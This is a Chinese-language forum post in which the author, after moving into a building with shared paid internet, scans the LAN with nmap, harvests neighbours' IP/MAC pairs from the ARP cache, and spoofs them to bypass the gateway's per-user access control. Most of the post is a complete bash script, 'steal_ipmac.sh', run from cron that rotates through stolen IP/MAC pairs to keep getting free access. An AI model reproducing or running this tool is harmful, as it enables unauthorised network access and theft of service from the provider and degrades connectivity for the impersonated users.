搬家了
新楼里50块钱每月的上网费
一看这价儿就知道不是独立的adsl线路(深圳1M包月在120RMB左右吧)
估计是共享的
机器接上网线后
测试了一下常用的网段, 发现网段为192.168.1.*
并且nmap扫描发现有大量机器在线
但自己的机器并不能连接到外网
初步怀疑网关是入门级的通过IP/MAC来限制用户是否能接入外网
nmap 192.168.1.0/24 -n -sP 扫描在线IP
arp -a 得出mac缓存
随便挑了个ip并使用对应的mac来配置网卡后
噢也, 真能ping通外网IP了
有网络基础的同学都知道
如果两个网卡使用相同的MAC地址
在交换机/路由器上的mac地址端口映射表就会不停地更新
即所谓的mac地址表动荡
如此,两台机器上网速度自然会受到影响
如果长期借用一对ip/mac, 显然是不厚道的
于是有个想法
把网内的ip/mac全都记录到db里 (格式为 ip mac)
并且在使用一个ip时, 最好是这个ip是不在线的
如果db里所有的ip当时都是在线的
那么隔一会就随机换一个
根据以上想法,写了个脚本并放在crontab里运行
复制内容到剪贴板
代码:
#! /bin/bash
## file: steal_ipmac.sh
## auther: [email]huanlf@gmail.com[/email]
## steal an "valid" ip and mac and connect to net :)
IFACE='eth0'
LOGFILE='/tmp/ipmac.log'
MACFILE='/home/huan/mydoc/mac'
DEFAULT_IP='XXX' # 需要修改成一个能在线的ip和mac
DEFAULT_MAC='XXX'
DEFAULT_GW='192.168.1.1'
DEFAULT_TESTIP='220.181.38.84'
## configure ip,mac,default gw
change_ipmac()
{
local ip=$1
local mac=$2
ifconfig "$IFACE" 0 down
ifconfig "$IFACE" hw ether "$mac"
ifconfig "$IFACE" "$ip" up
if ! netstat -nr | grep -wq '^0.0.0.0 '; then
route add default gw "$DEFAULT_GW"
fi
}
## configure interface with default ip,mac
change_default()
{
change_ipmac "$DEFAULT_IP" "$DEFAULT_MAC"
}
## test if the ip is being on line
do_arping()
{
local ip=$1
arping -fw1 "$ip" &>/dev/null
return $?
}
## test if we can connect to internet by ping
do_ping()
{
ping -w2 -c1 "$DEFAULT_TESTIP" &>/dev/null
return $?
}
get_current_ip()
{
ifconfig "$IFACE" | awk -F: '/inet addr:/ { print $2 }' | awk '{ print $1 }'
}
get_current_mac()
{
ifconfig "$IFACE" | awk '{ print $NF; exit }'
}
## ---------------main---------------- ##
if (( $UID != 0 )); then
echo "root privilege needed"
exit 1
fi
## if interface is not configured yes, initialize it and exit
if ! ifconfig "$IFACE" | grep -Fq 192.168.1 || [[ ! -s "$MACFILE" ]]; then
change_default
exit
fi
## try to choose an ip that not online
while read ip mac; do
ifconfig "$IFACE" | grep -Fwq $ip && continue
if ! do_arping "$ip"; then
change_ipmac "$ip" "$mac";
if do_ping; then
echo "$ip $mac $( date '+%F %T' )" >> "$LOGFILE"
exit
fi
fi
done < "$MACFILE"
## if all ips in db are online, choose an random one
cnt=$( wc -l < "$MACFILE" )
while :; do
randnum=$( perl -le '$seed = shift; print int( 1 + rand($seed) ) ' $cnt )
ipmac=$( sed -n "$randnum p" "$MACFILE" )
change_ipmac $ipmac
if do_ping; then
echo "$ip $mac $( date '+%F %T' )" >> "$LOGFILE"
break
fi
done